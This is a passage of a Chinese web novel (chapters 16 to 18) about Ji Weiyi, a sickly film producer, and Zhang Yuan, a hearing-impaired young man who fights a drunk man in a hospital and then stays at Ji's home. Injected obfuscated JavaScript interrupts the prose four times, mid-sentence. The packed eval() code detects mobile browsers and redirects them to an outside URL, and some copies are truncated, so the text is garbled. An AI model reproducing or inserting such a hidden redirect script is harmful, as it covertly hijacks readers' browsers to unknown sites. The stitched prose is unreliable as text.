许琮没应，只是呆呆地目视前方，季苇一顺着他的目光转头过去。 看到了，气喘吁吁满头是汗的张渊。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740154|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这到底是找了个保镖还是找了个曹操……许琮大为震惊。 季苇一第一反应是想知道张渊听清楚他刚才的话没有，对方脸上却什么都看不出来。 程秋只告诉张渊季苇一在中心医院，他刚才是从门诊进来，一路上一个人一个人看过来的。 季苇一当然不知道这些，他只从张渊剧烈起伏的胸膛看出他跑得很急。 他问：“你怎么来了？” 张渊几乎是同时开口：“你生病了。” 季苇一想要跟他解释他来医院其实不是来看病的，又觉得自己现在这个样子，说什么都看起来很没有说服力。 即便他确实谈不上跟张渊坦诚相待，他不想让对方觉得自己就是这么敷衍而直白的糊弄着他。 季苇一说：“我胃有点不太舒服。” 下一秒，张渊坐到他身边，把一只手按在季苇一的上腹：“这里痛？” “嗯。”季苇一激灵了一下，突如其来地身体接触让他肌肉紧绷。 然而张渊的手像那种烤热了的粗盐袋子，非常温暖，有一点分量，不轻不重地压在腹部。 他感觉胃部的抽搐变得明晰起来，但因为有热的东西敷在上面，痛感没有增加，而是在剧烈地弹跳几下之后，慢慢安静下去。 张渊垂着眼睛，很专注地在他身体表面按揉，可能摸到他胃里平静了一点，又腾出一只手来，掐住季苇一右手的虎口。 “冯叔说，胃疼要按这里。” 他手劲儿很大，找准穴位，轻轻一用力，季苇一身上猛地痛出一身汗。 可能是偏方真的灵，一秒钟的疼痛过后，胃里的痛随着汗水一并消散。 季苇一低头看着张渊因为用力而微微泛白的指尖，和自己更加苍白的皮肤。 心道张渊手指甲上的白月牙还挺明显，听说这样的人身体好，气血足，精力旺盛。 他手上就没有，一个都没有，因为贫血，连手指的颜色都很淡。 坐在一旁的许琮看着张渊湿透的后背和还在顺着头发往下滴的汗珠，抿着嘴思考人生。 怎么……这会儿……又……不嫌热了呢？ 他现在真的很有要失业的危机感。 16. 别打架 也不知道是碰巧那一阵过去了，还是掐虎口真把病掐好了，季苇一伸出两个手指头在张渊手背上点点，无声地给他比了个口型：“好了。” 不痛了才反应过来：“你怎么在这儿？” 张渊没有松开捏住他的手，只是减轻了力道，用拇指轻轻揉着：“她说，你在医院。” “她？”季苇一看了一眼许琮，对方在一旁把头甩得像拨浪鼓。张渊又说：“导演。” 他确实一共也就告诉了程秋一个人自己在哪儿……季苇一决定下次再也不跟程秋随意闲聊：“她去找你了？” 张渊道：“她说，你让她来找我。” 他的语气一如既往难以判断出什么情感倾向，但季苇一莫名感到一种无法形容的沉重，不自觉有点犹豫：“算是吧。” 他说话这句话，落在他虎口上的力道微微加重，张渊偏过头来，漆黑如墨的眼睛一眨不眨：“那以后，都是她找我？” “她有事就会找——”季苇一忽然间才反应过来张渊是什么意思，“我不会不管你的。” 他心道张渊该不会以为自己要把他便宜卖了，忙解释道：“导演有事，直接找演员是正常的方式，但你毕竟没做过这些事，你要是担心遇到麻烦，我会在旁边帮你的。” 张渊的表情没有太过明显的变化，但肉眼可见地舒了一口气。季苇一忍不住笑了：“就这么不想跟程秋说话？实没什么大不了的，程秋不会为难你的，。就当是和跟我说话一样就好了。” 张渊摇头：“不一样。” 他说了不一样，像是自己心里也不能很好地解释这种感觉从何而来，但却对这个结论十分笃定，于是又重复一次：“不一样。” 季苇一被他过分认真的表情给唬住了，一时竟生不出什么反驳的话：“行，不一样就不一样吧。我既然把你带来了，你不用想太多，有什么不明白的就问我。” “好，”张渊说。他让他问，他立刻就问了，而且问得无比直接：“你刚才，不高兴？” 空气安静了几秒钟，季苇一说：“是啊，”他面不改色地说下去：“我胃痛。” 于是张渊问：“还痛吗？” “好了。”这一次季苇一终于顺利地把手从张渊手中抽出来。他刻意绕过了关于冯帆的事情，不知是否出于一种默契，张渊竟也没有再提。 季苇一从椅子上站起来，慢悠悠地整理衬衣。衣服是真丝混纺的，美丽亲肤但容易皱，张渊方才把手放在他上腹部施加了几分力气，揉出来的褶子就怎么拉都抻不平整，一松手就弹回去。 衣服皱了，季苇一的心情却正在好起来，像是和张渊达成了微妙的共识，把刚刚不是很有来由的争吵就此揭过。 他招呼许琮先把张渊送回去，张渊也就跟上来，和他凑得很近，几乎要碰到他的手臂。 季苇一本想往旁边避一避，看到他的神情，又在心里提醒自己：张渊无非是人长得高大，年纪毕竟还小，初来乍到人生地不熟，耳朵又不太方便。在医院这种人潮涌动的地方，会感到安全感缺失也是难免。 他把他的寸步不离看做是某种雏鸟情结的延伸，于是便也心安理得地以保护者的位置自居。 主动冲张渊招招手：“过来，人多，别走散了。” 他话音未落，头还侧在一边，冷不丁被什么东西狠狠撞在怀里。 一个，鼻青脸肿的，女人。 对方慌慌张张地在他的怀里抬起头来，季苇一刚折腾过一场虚得很，给她一撞好悬没站稳。 幸亏张渊反应很快，伸手在背后扶了他一下。季苇一站定后撑着女人的两肩退开一点安全距离，长呼一口气稳定心率。 还好没倒，否则他这个身高一碰就摔，也太像碰瓷的了。 人挤着人，磕磕碰碰实在常见，然而女人脸上不同寻常的伤痕引起了季苇一的注意：“你……” 他还没来得及说什么，人群里伸出一只手拉着女人的领子猛然一拽，女人向后一个踉跄。 “你他妈是不是出门就要骚啊，到医院里也忘不了勾搭人！” 季苇一闻言看过去，满身酒气的男人骂骂咧咧地拉着女人的胳膊连拖带拽，他皱起眉头：“你这是干什么？” “草！”那男人掉回头骂了一句：“我干什么关你个半死不活的小白——” 他抬手要推季苇一，酒气迎面扑过来，季苇一本能地向后躲了一下。 张渊一抬胳膊，稳稳地将对方的手臂架在半空。 他眨眨眼睛：“你说什么？” 那男人左手腕被张渊抓在手里，抽了一下，竟没抽得动，在恼羞成怒和虚张声势里喊道：“我说我草他个半死不活的小白脸。” 张渊听完，低低地“哦”了一声，脸上还是没什么表情，抬手扶了一下耳朵上的助听器。 季苇一没判断出他的意图，只隐约感觉哪里不对。 一声“张渊”还没来得及叫出口，一股劲风直直擦着他的脸颊扫过去。 黑色的风。 女人的尖叫声突兀地响起。 * 调解室里，季苇一抱着胳膊坐在一边，看张渊一笔一划地往调解协议上签名。 字还挺好看的，季苇一挺意外。虽然他之前就知道张渊是初中最后一年才不在学校念书的，但此前他潜意识里一直默认对方是个文盲。 张渊写完，把那张纸递过去，对面警察瞪他一眼：“长点记性，年纪轻轻别打架。你们这叫互殴知道吧，这次你哥哥跟人家商量好了不用赔钱，以后万一把人打伤了，是要拘留的。” 看着张渊仰起头略显茫然地眼神，又无奈地冲季苇一摆摆手：“听不见也不容易，你们自己人回去好好教育教育吧。” 季苇一应了一声，用眼神示意张渊跟自己往外走，出门路过另一间调解室，听见有女警还在询问刚刚的女人是否遭遇家暴。 张渊跟上来，在他身后亦步亦趋。走到门口，季苇一停下脚步，目光落在张渊攥着的一只手上：“坏了？” 张渊摊开手，助听器被踩了一脚，支离破碎。 “对不起。”他说。 季苇一无奈地笑：“是该跟它说对不起，你好歹也摘下来啊。” 没了助听器，张渊几乎什么都听不清，光靠看口型，实在勉强。 只把眼睛垂下去：“对不起，不该打架。” 他不戴助听器的时候，说话的音调也跟着变化，声音不自觉地低下去一点，更含混不清，像是某种大型犬的呜咽。 季苇一还是听懂了：“嗯，不该打架，万一受伤了怎么办？” 不该打架，打赢进派出所，打输进住院部。 ——那张渊估计只有进派出所的份儿。 他摇摇头：“不会受伤。就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740155|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个人，不会受伤。” 季苇一越听越觉得哭笑不得，亏他前一秒还在担心张渊没有安全感，简直堪称自作多情。 ……张渊是来给送安全感的还差不多。 他甚至想要在对方胳膊上捏一捏：吃什么呀，长这么结实？ 当然还是忍住了，虽然心里想的是打了但只至少打赢了没吃亏，脸上还是一脸严肃地端起批评教育的态度：“没有下次了。” 说罢率先上了车，和许琮说：“回家。” 许琮看一眼跟上来的张渊：“先送他去酒店？” “不去酒店，”季苇一说，“把我们俩都送回家。” 他说完，又转过脸来对张渊重复一次：“你助听器坏了，今晚跟我走。” 许琮一面答应，一面仍从后视镜里偷偷看他俩，看了半天，还是忍不住问：“小季总，事情都解决了？” “解决了，我这辈子还没进过调解室。”季苇一说：“他赢得太轻松了，要不是监控里能看出对方先动手，我又提议要通过医院那边调查一下那个人到底是不是家暴，一时半会儿还没那么轻松解决。” 他说完，觉得今天这一天实在也太跌宕起伏，十分不利于心脏健康。 调一下座椅背让自己躺得更舒服一点：“我睡会儿。” 他躺下去就真的困了，迷迷糊糊里，又想起张渊挥拳的一刹那。 季苇一嘟囔道：“以后别人说什么，你不用在意。” 要是说一句半死不活就能让人少活两天，那他这种从小就挂着长命锁的岂不是真能长命百岁。 说完，又想起现在的张渊好像听不见。 刚睁开眼睛准备重复一次，手机响了。 他见是季津，就接起来，又把眼睛闭上，敷衍地接：“哥？我今晚要把张渊带回来一天。” 他家里有几间空着的客房，随时带人回来都很方便，原本没打算提前打招呼。 电话那头的季津却哼了一声：“在外面给你惹事了？” 季苇一清醒过来：“你怎么知道？” “小吴告诉我了，”季津说，“我就打电话来问问，没事，处理好了就行，没人受伤吧？” 季苇一皱起眉头：“我的法务为什么跟你汇报工作这么积极？” 季津在电话那头愣了一秒：“都是一家人，什么你的我的，大家都是怕你出事而已。” 季苇一轻笑：“我在这个家里，真是一点秘密也没有。” 季津像是没听出他话里的不悦一样，十分自然地回答：“你在自己家要什么秘密？” 他说完，又想起什么：“爸妈明天下午回来，你晚上别出去。” 季苇一愣了愣，应一声知道了，挂断电话。 忽然问许琮：“你一天到底要跟季总汇报几次工作？” 许琮扶着方向盘的手滑了一下：“这个……主要是根据你的身体情况……” 这个答案和他预想的一模一样，季苇一没有为难许琮，重新在座椅上靠住，淡淡地皮革味的飘进肺里，他长呼一口气，偏头看着旁边似乎正在认真反省但也可能只是在发呆的张渊。 父母走的时候他不在家，没告诉他要出发。回来，也是季津告诉他，他才知道。 在自己家用不着什么秘密，但是在这个家里，也就只有他是个没有秘密的人。 从来如此。 17. 小舟 季苇一把张渊带回家，季津还没回来，家里只有住家阿姨正在打扫的，看见他带人回家，招呼：“小舟回来啦。” 只要迈进家门，甭管亲疏远近辈分大小，谁都管他叫小舟。这个做法也是很早之前留下来的习惯，一如既往符合他爸妈的封建迷信设定，说是往小里叫好养活。 季苇一这么多年都“小舟”过来了，从来倒也没觉得有什么。今天引着张渊进来，冷不丁听她一喊，喊得差点把脖子缩进去，忽然非常感谢张渊现在听不见：“嗯，许阿姨。” 他耳根有点热，没看张渊，背身拿手往后点了点：“工作上的……同事，今天家里睡一夜，麻烦你给客房收拾收拾。” 又把人拉到一边，低声嘱咐：“他听力上有点不方便，你多照顾着点。” 许阿姨隔着季苇一看过去，张渊对上她的目光，轻轻垂眸点了点头。 女人“呦——”了一声：“这么大高个子的帅小伙子，可惜了——” 季苇一从旁轻轻拽她：“他看得懂。” 许阿姨咽下尴尬，立刻在换上平静温和的微笑：“你好，有什么需要跟阿姨说，别不好意思。” 又问季苇一：“季总说你去桦城带回来个人，是他？” 季苇一皱起眉头：“季总还跟你说什么了？” 对方发觉他神色不悦，拿起放在一旁的抹布，作势要继续工作：“哎呀，没说什么，还能说什么，说你去趟桦城就冻病了，又忙着什么工作，叫我多上心注意着点嘛。” 她俯身去擦桌子，抹了两下，忍不住又回头说：“季总就是关心你嘛，你看你出去一趟，回来就发烧好几天，别说他，我都心疼呢。” 季苇一牵着嘴角笑了笑：“是啊。” 他实际上本来也从未怀疑过季津这样做的理由，并不疑心对方是要试图上演什么为争夺家产监视兄弟的豪门狗血大戏。 且抛开兄弟情谊不谈，退一万步讲，他赚那点钱在季津来看堪称三瓜两枣。别说争家产了，他能混到今天全是父母亲哥从手指头缝儿里漏给他的。 这家里不论谁管他，毫无疑问都只有一个出发点，就是怕他死了。 但这不妨碍季苇一还是时不时的感觉有点憋屈，就像看直面许阿姨对张渊的惋惜，他也不自觉地感觉到不适。 那种惋惜他太熟悉。 季苇一回头，没戴助听器的张渊确实看不出任何异样，听力问题就跟心脏病一样，乍一看别人是很难发现的。 但是自己每一刻都会知道到底有什么不同。 季苇一慢慢比口型给张渊看：“明天，带你去重新配一个。” 张渊点点头，很有些歉意：“下次，会摘下来。” 季苇一无奈：“下次，是不要打架。你要去拍电影的，说不定以后会有很多人认识你，注意形象，知道吗。” 他话音刚落，口袋里手机振动起来，冲张渊摆摆手，背过身去接：“喂？” 程秋的声音传出来：“那个，张渊不会去医院找你了吧？” “嗯。”季苇一这才想起来兴师问罪：“你跟他说什么了？” “没有，我没睡醒，他问我知不知道你在哪儿，我说中心医院嘛——他不会真去了吧？” 季苇一用鼻子往外出气：“托程导的福。” 何止去了，还—— 程秋立刻在电话那头骂了一句：“草，不会真是他吧？” “什么是他？” “他在医院和人打架了？” “你从哪儿听来的？”季苇一有点恼火，这事儿为什么能在短短一个小时里传遍四面八方。 程秋的声音里染上了淡淡的死意：“小季总，你不要告诉我这是你为了炒热电影下得一盘大棋，你知道我不玩这个的。” 按照她的经验，季苇一也不玩这个。 季苇一皱着眉头还没来得及发作，程秋“滴”地挂断了电话，紧接着从微信上转发了一个视频过来。 发布时间一小时前，点赞已经破万了。 发布者看起来只是个普通网友，视频是用手机竖屏拍的，镜头晃得都快赶上希区柯克变焦，一片嘈杂，听不清声音。 画面里，张渊架住了对面的男人，扶了扶助听器，然后稳准狠地一拳过去。 季苇一头皮发紧，忙把电话给程秋拨回去：“意外，在医院里和人发生了一点冲突，估计是网友随便拍的，现在有营销号转了吗？” 程秋叹气：“我就是从营销号那里看到的，不是，你既然找了人来——” 季苇一截断她的话：“我的问题，不会有下一次了，现在当务之急是把视频下架。视频没有那么清楚，转发也还不是很高，这种事压下去，网友很快就不记得了。” 程秋说：“你的意思是马上压下去？” “不然呢？”季苇一说：“你不用操心了，我会找人处理的。” 程秋在对面沉默几秒钟：“知道了，但是如果他在剧组里是动不动就要跟人动手的脾气，就算人是你推荐的，我这里会很难办。” 季苇一道：“事出有因，他不是那种会随便跟人动手的性格。”又把免提打开，招呼张渊：“过来，跟程导说对不起。” 张渊到现在还没搞清楚到底发生了什么，但是既然季苇一叫他做，他便也跟着照做了：“程导，对不起。” 程秋在那头深深叹气：“算了，下次见面好好跟我解释吧，你先去看看视频的事情。” 要挂电话，忽然又说：“得亏没拍着你呢，不然以后该传成你是金主了。” 季苇一冷笑一声挂了电话，坐回到沙发上，开始挨着个打电话找人。 心里烦躁，声音难免也大些，多说一会儿，嗓子干痒，断断续续地咳起来。 许阿姨在一旁听见他咳嗽，忙把加湿器打开搬到他附近，又从厨房端一杯蜂蜜水出来。 季苇一沉着脸打电话，没发觉她在一旁忙活。许阿姨刚刚已经觉得自己好像弄得他有点恼了，一时不敢上去打扰他。 张渊走过去，接过那杯水，默默递到季苇一手边：“水。” 季苇一注意力不在这里，咳得厉害的时候，顺势接过来喝一口，喝完以后还没顾得上找地方放杯子，张渊就从他手里把杯子接走。 下一次，又在他两个电话的间隙默默递过去。 前前后后过去近一个小时，季苇一终于长舒一口气，扔了手机在沙发上，自己也靠下去。 才发觉张渊一直站在旁边，手里还捧着杯子。 “喝一点，”张渊说，“甜的。” 他说完，季苇一才尝出嘴里是蜂蜜的味道，接过来把剩下的水一饮而尽。 张渊问他：“是因为我打架吗？” 季苇一没说是也没说不是，只说：“下次不许打架了。” 张渊点点头，季苇一看着他那双黑漆漆的眼睛，实在又说不出什么重话：“好了，这事算过去了，你记住就好。” 他说完，意识到厨房里的许阿姨在偷偷看他们，顿时不想在客厅里待。 “你来。” 他本想带着张渊去自己卧室，走到门口，忽然想起前几天他发烧的时候，明明没觉得憋气，季津还硬是招呼许阿姨把制氧机搬到他卧室里，到现在还放在他床头。 张渊在一些地方敏锐简直超乎想象，季苇一怕他多想，转身把他带到二楼的一间屋子里。 他高中决定要考导演系之后，家里就把二楼的一间书房改成了小家庭影院，沙发对着投影仪，墙壁做了隔音，地上铺地毯。 季苇一指挥张渊在门口把鞋脱掉：“天天吸，光脚踩也不要紧。” 看张渊回身摆弄那扇关上了轻轻一碰又自己弹开的门，解释道：“关上了就别去动它，一碰就开了。” 他家里除了季津和父母住的两间卧室，包括洗手间在内所有的门都一碰就开锁不上，怕他哪天倒在家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740156|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没人发现。 张渊自然不会想那么多，季苇一不让他动，便不动了。 沙发很宽，几乎像床一样，季苇一按电钮关上窗帘，叫张渊坐过来。 “喜欢看什么电影？” 他问完才想起张渊是不看电影的，环顾四周略有些犯难。 这屋里有很多五花八门的进口碟，很多连中文字幕都没有，思来想去，好像没什么适合给张渊看的。 看他在自己身边正襟危坐，又想闯祸了总该有点惩罚。 于是把投影连在电脑上，给他上网现找了部手语教学视频：“好好看，给你布置学习任务。” 看张渊真的一脸严肃地看起教学视频来，自己掏出手机确认网上的东西都处理干净了没有。 刷了半天，确实什么都刷不到了，终于感觉安心了一点。 精神放松下来，人就开始胡思乱想，忍不住点开照片文件里，他保存下来的那段视频。 循环播放中，张渊挥拳的动作一次一次播放，干脆、利落、有力的一拳。 他忽然想起那视频底下的评论。 有人说：“是不是医院为了防止医闹专门找的保安啊？” 又有人跟帖：“现在的保安长这么帅？” 再往下就有人吐槽说视频里又看不太清楚脸，怎么会有人连这种视频都要脑补人长得帅，网上意见一多，难免争吵起来。 季苇一把目光从视频里移回张渊身上，对方正在专心致志地跟着视频比划，只留给一个抿着嘴的侧脸。 确实是帅，季苇一想，打架这事不能鼓励，但那一拳实在是帅得没有争议。 又想，什么保安，医院哪里请得到这样的保安。 想来想去，越想越好笑，掩着嘴低低地笑。 张渊跟着视频学了两个小时，一直到播放结束，投影黑下去。 他听力不好，反而能很少受到外界地干扰，一旦专注于某件事情，注意力会惊人的集中。 虽然只跟着入门视频学了一遍，很多东西竟然都能记得七七八八。 他这时候才发觉屋里安静得好像只有他自己，回头去看，季苇一歪在沙发上睡着了。 男人略长的头发挡住半边脸，散落在浅色的沙发上，即便不去摸，也觉得应该特别柔软。 因为闭着眼睛，睫毛显得格外纤长，像他的头发一样，颜色不是很深，随着他浅浅的呼吸，有节奏地颤动。 张渊静静地看，随着他呼吸的节奏呼吸，直到窗外下起雨。 没有助听器，他连雷声都听不见，但是很灵敏地从空气中嗅到湿润的泥土与雨水的味道，于是撩开窗帘看了一眼。 缠绵的雨幕蒙在玻璃上，像是把两个世界隔开了。 张渊回过头，拾起沙发上叠好的一条毯子，抖开来盖在季苇一身上。 见他这样歪着，又担心醒来脖子会痛，慢慢蹲下来托住他的脚踝，想把人放平。 没穿鞋，季苇一的脚踝露着一大截，看起来有种血液运转不良的苍白，摸上去也是凉的。 可能因为张渊的手掌要暖很多，刚碰上去，季苇一就醒了。 “下雨了。”张渊说，他不着急站起来，就那么单膝跪在地毯上，看着季苇一。 季苇一从小憩的迷糊里挣脱出来，听着窗外噼里啪啦的雨声，很用力地吸了一口气。 他心肺功能差，遇上雨天气压低，多少有些胸闷。 不过不想让张渊看出来，于是和他闲聊：“看完了？” “看完了。” “记住了？” “记住了一些。” “你比给我看看？” 季苇一只是随口一说，觉得张渊会比个你好谢谢之类的东西。 对方却很从容地做了两个手势，季苇一奇道：“什么意思？” 张渊答：“小舟。” 他盯着季苇一骤然瞪大的双眼：“舟，是小船的舟吗？” 18. 鬼压床 突如其来的雨从下午开始，一直下到深夜。 季津今日没去应酬，四个人一起吃了晚饭。看见张渊，没过问关于他打架的任何事，饭桌上只提了季家父母明天要回家，叮嘱许阿姨明天把晚饭做得丰盛一点。 又问季苇一：“他明天还要住在家里吗？” 季苇一下午刚吐过，食欲不振，不想让季津看出来又被念叨，夹一块排骨放在盘子里作对。 得到一个说话的机会，就顺理成章把肉推到一边：“不用，明天白天我叫许琮带他去配助听器，剧组会提前给他上课，正好附近空了一间房子，打扫一下让他搬进去。” 季津点点头，看见季苇一半天不往嘴里送，无奈道：“小舟，你吃饭就不能积极一点？” 正用筷子在酱油碟子里画圈的季苇一手上动作徒然一顿，状似不经意地将眼睛往一旁偏了偏。 张渊正在低着头扒拉米饭，完全没有试图关心他们家庭对话意思，却很敏锐地捕捉到那一丝落在自己身上的目光。 猛然转头：“怎么？” “没怎么，”季苇一拨弄头发挡住自己发红的耳根，拿公筷往他碗里丢了块排骨：“别光吃饭。” 托张渊的福，他现在真是听不得“小舟”这两个字…… 晚饭他最后也没吃多少，早早打发张渊去休息，自己也躲在卧室里看合同，白天太累，不多时也就困了。 到了后半夜，又在梦里惊醒。 季苇一隐约觉得自己又是梦到了冯帆，意识恢复，梦的内容就已经记忆模糊，只有阴冷湿重凝固在身上。 像他到桦城的第一年，在某一个雨天里看着窗外想：为什么真的会因为什么人的一句话就把他送到陌生人的家里来养？ 要说迷信，他父母的迷信似乎就是从那年开始。 那年他改了名字，从跟季津差不多的一个带了三点水的单字名变成了“季苇一”。从桦城回家以后，忽然发现家里开始被说不清是佛是道复杂程度堪比《西游记》的各种物件堆满。 他的父母开始变得特别迷信，就好像他们从来就这么迷信一样，突然且生硬，以至于他常常都会在心里怀疑他们到底是不是真的这么迷信。 也是从那时候起，他开始被叫做“小舟”。 提到小舟，他眼前忽然出现张渊蹲在地上仰头看他，修长的十根手指在空气中捏两下：“小舟，是小船的舟吗？” 季苇一彻底地从混沌里醒转过来——脑子醒了，身体没醒。 鬼压床总在身体很累又睡不踏实的时候偶然造访，感官已经开始逐渐恢复灵敏，肌肉却全然不听掌控，甚至连抬起眼皮都做不到。 身上明明只盖着一层轻薄柔软的蚕丝被，此时此刻却仿佛浸了冷水，压得令人喘不过来。 像是在一团漆黑浓重的粘稠液体里苦苦挣扎，用尽全身力气，终于把眼睛睁开一线。黑夜中的天花板上烟雾报警器闪烁的红光沉沉坠落，如同陨石碎片撞击地球，灭顶之灾一般朝他倾倒过来。 季苇一翻身滚到床沿上，一条腿磕在地板上，终于在疼痛里夺回对身体的掌控。 心跳快得好像要击穿鼓膜，分不清是心悸还是胃部不适了，亦或者二者皆有，季苇一在耳鸣声里挣脱被子坐起来，又软绵绵地瘫倒下去。 原来并不是被子湿重，只是他身上出了太多冷汗。 心脏突突地跳动里，季苇一蜷缩起身体。 即便开了空调暖风，他的四肢还是有种血液运转不良的冰冷。 雨还在下，他缓过一口气来打开窗帘，外面黑压压地。房间里虽然开了除湿，依旧感觉空气重得难以呼吸，即便推开窗子，也只有更多的水汽透进来。 靠在枕头上，脑袋沉沉地眩晕，躺下又感觉心跳的声音特别大，顶在心口坐立不安。 季苇一实在躺不住，慢慢爬起来吃了药，走进二楼的那间屋子。 他心脏上的不适，一部分是来自于器官天然硬件的问题，另一部分，是常年无法正常工作而更容易出现的官能症。 说白了，越想越难受，找点什么事情分散一下注意力会舒服一点。 这种时刻精力不济，重要的事情是做不了的，从小家里就放动画片给他看，再大一点，他就开始看电影。 后来走上这条路，大概也是从儿时起就早见端倪。 保持心情稳定心脏健康是第一要务，他一般都选已经看过的电影，免得对情节太期待反而更加引起不适。 随手摸了一张碟，是刚重置过不久的《海上钢琴师》。 他也不挑，无非给自己找点事情做，裹着毯子靠在沙发上。 没留意未关的窗户，轻轻把门吹开。 * 张渊盯着天花板上一闪一闪地红点出神。 他不认床，准确来说是对生活的要求不怎么高。 遇到好吃的就多吃几口，遇到没那么喜欢的食物也不会让自己饿着。便宜的衣服贵的衣服，穿在身上除了冷热都不会有什么太大的分别。睡觉的地方也是一样，能躺就行，不能躺靠一下也睡得着。 像今天这样不知为何难以入眠的时候是极少有的，白日里的场景片段像幻灯片一样从脑海里跳出来，杂乱无序，也很难说具体让他产生了什么样的想法，但张渊无法阻止画面出现。 住在季苇一家里，他起初觉得不该随意走动，但失眠的感觉实在陌生而痛苦，他盯着那个闪动的红点久了，总有种那东西离自己越来越近的感觉。 这实在令人烦躁，张渊辗转反侧，而后猛然从床上坐起，离开卧室。 客卧在二楼最后一间，走廊上装了声控灯。但因为不想拖鞋弄出声音，他光着脚踩在地板上，看见楼梯口的第一房虚掩着房门，透出的依稀光亮在黑暗的走廊格外明显。 他小心翼翼地走过去。 季苇一仍困在心慌里，说是看电影，眼睛徒劳追着画面，脑子里空荡荡。 门打开时的响动惊了他一下，捂着心口差点从沙发上跳起来：“谁？” 漆黑的走廊里探出个脑袋，张渊看着他，眨眨黑眼睛：“你没睡觉？” 季苇一长舒一口气，虽然在自己家里，却有种上学时上课偷看课外书被老师发现的刺激感：“你走路怎么没有声音？” 幸亏他看得不是恐怖片，不然现在该叫救护车了。 “我不知道。”张渊说，他确实判断不了自己走路有没有声音，但说完就想起声控灯好像是没有响，又说：“对不起。” 他径直走进来，昏暗的屋内只有投影灯光散落的余辉落在季苇一身上，以至于他第一时间没有发现对方脸色苍白：“你也，睡不着？” 这个“也”字让季苇一叹了口气，失眠的人在深夜总有种同病相怜的共情，他冲张渊招招手：“看电影吗？” 这次不是手语教学片了。 张渊走过去，季苇一才发觉他身上只穿一件宽大的T恤衫，勉强盖着屁股，四角裤的末端都露在外面，光着两条腿。 季苇一大惊：“你为什么不穿裤子？” 画面正好黑了一秒，张渊没能看清季苇一的嘴型，就已经走到他的面前：“嗯？” 他的态度太过于自然，以至于季苇忽然开始怀疑，难道穿睡裤这件事难道超出了张渊的认知范围？ 那他如果勒令对方穿上裤子，是不是有点容易伤害孩子的自尊。 虽然他也不知道张渊的自尊点具体长在什么地方。 “你上来，盖上。”季苇一把自己身上的毯子往旁边匀了匀，盖住张渊的腿，主打一个眼不见为净。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740157|145165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 同盖一条毯子，两个人顿时变得很近，那双黑漆漆的眼睛凑过来，季苇一偏了偏头：“别看我，看电影。” 扭头又想，电影多半是看不懂的。 音乐在《海上钢琴师》里的存在感太重了，可张渊却偏偏听不见。 季苇一试图站起来：“我给你换一部吧。” 张渊却牵了一下他的袖子：“不用。” 他感觉到对方的身体好像很凉，阻止他离开毯子：“你看什么，我就看什么。” 一旦专注地看着什么地方，张渊的神情就会变得出奇的笃定，季苇一被说服了：“那我给你讲讲。” 电影已经进行到后半段，1990下船又去而复返。 季苇一尽力把1990传奇的一生，凝聚在最简单朴素的词汇里，低声细语，慢慢讲述着。 张渊在昏暗的灯光里尽力捕捉季苇一口型的变化，不知不觉，越凑越近。 耳朵对他而言是不值得被信任的，多年以来，他和世界沟通，更依赖的是眼睛。 但也不止眼睛。 在视觉被昏暗折损后，安静的世界里，其他感官被格外放大了。 他嗅到季苇一身上若有似无的清苦香气，是车载香薰的味道，混入雨天特有的湿润味道，和毯子上柔顺剂淡淡的花香，似乎在对方每一次呼气时变得格外明显。 裹着毯子对他而言其实有点热，是因为季苇一叫他盖，他才没有掀开。 而对方身上睡衣的丝绸面料冰凉轻柔，他无意之中碰到了一下，就忍不住把皮肤贴上去。 绞尽脑汁组织语言的季苇一没躲，不仅没躲，甚至没发觉二人似乎已经靠得太近。 张渊温热的体温隔着薄薄的丝绸布料无声无息地包裹他的身体，血液循环加速，手脚慢慢暖起来。 肌肉回温，身体随之逐渐放松。张渊的呼吸深而长，贴着他的胸膛，季苇一不自觉地跟着他的节奏呼吸，悸动的心脏慢慢平静。 疼痛来的时候会特别明晰，好像体内的每一颗脏器都在嘶吼哀鸣。但舒适的身体往往会让人意识不到身体的存在，好像浸在温暖的热水里，没有痛苦的漂浮。 所以当电影结束的时候，季苇一才发现，自己整个人已经被张渊圈了起来。 头枕在对方搭在沙发上的一条手臂上，刚好撑住了脖子。脚顶在张渊的大腿上，像是在脚底放了个暖水瓶。 简而言之，和窝在他怀里没什么区别。 